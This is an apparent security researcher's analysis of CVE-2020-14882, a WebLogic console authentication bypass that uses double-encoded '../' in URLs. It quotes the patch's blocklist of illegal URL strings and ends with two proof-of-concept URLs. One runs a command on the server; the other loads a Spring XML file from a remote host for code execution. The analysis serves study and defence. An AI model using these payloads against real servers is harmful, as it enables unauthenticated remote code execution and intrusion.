Bypassing login in WebLogic – Analysis of CVE-2020-14882 Vulnerability
Abstract
The console of WebLogic required login with username and password. However, by exploiting the vulnerability, an attacker is can bypass authorization to access its console.
Patch diff
This example was demonstrated in WebLogic 12.2.1.4. Another version is similar.
It’s a handler class for WebLogic’s HTTP access. The solution to solve it is quite simple: match any dangerous character in the URL, terminate it if contains. Such dangerous characters are list below:
private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E",
"..", "%3C", "%3E", "<", ">"};
Permission control of WebLogic’s console
First, we need to dive deep into the permission control of WebLogic’s Console.
In method weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
that handle URL, it will determine whether user has permission to access this URL.
if (context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
if (s != null) {
int count = ((SessionSecurityData)s).getConcurrentRequestCount();
if (maxConcurrentRequestsAllowed != -1 && count > maxConcurrentRequestsAllowed) {
context.logError("Rejecting request since concurrent requests allowable limit exceeded :" + maxConcurrentRequestsAllowed);
rsp.sendError(500);
return;
}
}
And then, in weblogic.servlet.security.internal.WebAppSecurity#checkAccess(HttpServletRequest, HttpServletResponse, boolean, boolean, boolean)
, determine whether accessing all URL need permission. Probably concerned of the compatibility of browser, we can access all static resources without login. Because most browser will add cookie while retrieving static resources. So, WebLogic will response a ResourceConstraint
object, which describe the detail permission information of request based on whether the request URL a static resource.
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);
authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint,
applyAuthFilters)
Then, it invoke weblogic.servlet.security.internal.SecurityModule#isAuthorized
to retrieve user session, and call weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess
for further verification.
Finally, it determine whether the HTTP request is authorized based on ResourceConstraint
object, by calling weblogic.servlet.security.internal.WebAppSecurity#hasPermission
in weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm
.
If a user is accessing static resource, the field of unrestricted will be response and hasPermission field will be set to true, so that WebLogic will grant access to user. If the user is accessing a non-static resource, the request will be intercept and redirect to login page.
As the result, the key to bypassing the authorization is how to access restricted resource. However, WebLogic returns a ResourceConstraint object of static resource.
Analysis of bypassing permission
Back to the beginning method:
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request)
weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)
ResourceConstraint rcForAllMethods = consForAllMethods == null ? null :
(ResourceConstraint)consForAllMethods.get(relURI);
public Object get(String path) {
path = path.length() == 0 ? "/" : this.cased(path);
Object value = null;
if ((value = this.getExactOrPathMatch(path)) != null) {
return value;
} else {
return (value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
}
}
Here, the server calls weblogic.servlet.utils.StandardURLMapping#get
to response correspondent ResourceConstraint
object based on URL.
First, it invoke getExactOrPathMatch method, which based on request URL, to match whether it exists in static resource list.
And %252E%252E%252F
is just the result of URL secondary encoding of ../ .
In this way, the ResourceCOnstraint
object of the static resource can be returned without affecting normal access.
The reason of Weblogic secondary encoding
We can see that ../
has been encoded twice in poc. Let’s dive deep into why WebLogic can be decoded.
According to HTTP protocol, URL required to be encoded to send to server. The server decodes it and then process. This is the first layer of URL encoded.
WebLogic will handle second layer of URL encoded in com.bea.netuix.servlets.manager.UIServletInternal#getTree
,
public static UIControl getTree(String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {
HttpServletRequest request = ctxt.getServletRequest();
HttpServletResponse response = ctxt.getServletResponse();
requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());
URLDecoder.decode will do the second decoding of the URL after first encoding.
That is why secondary encoding can bypass it.
POC
weblogic 12
http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);
weblogic 10
http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.184.1:8000/spel.xml")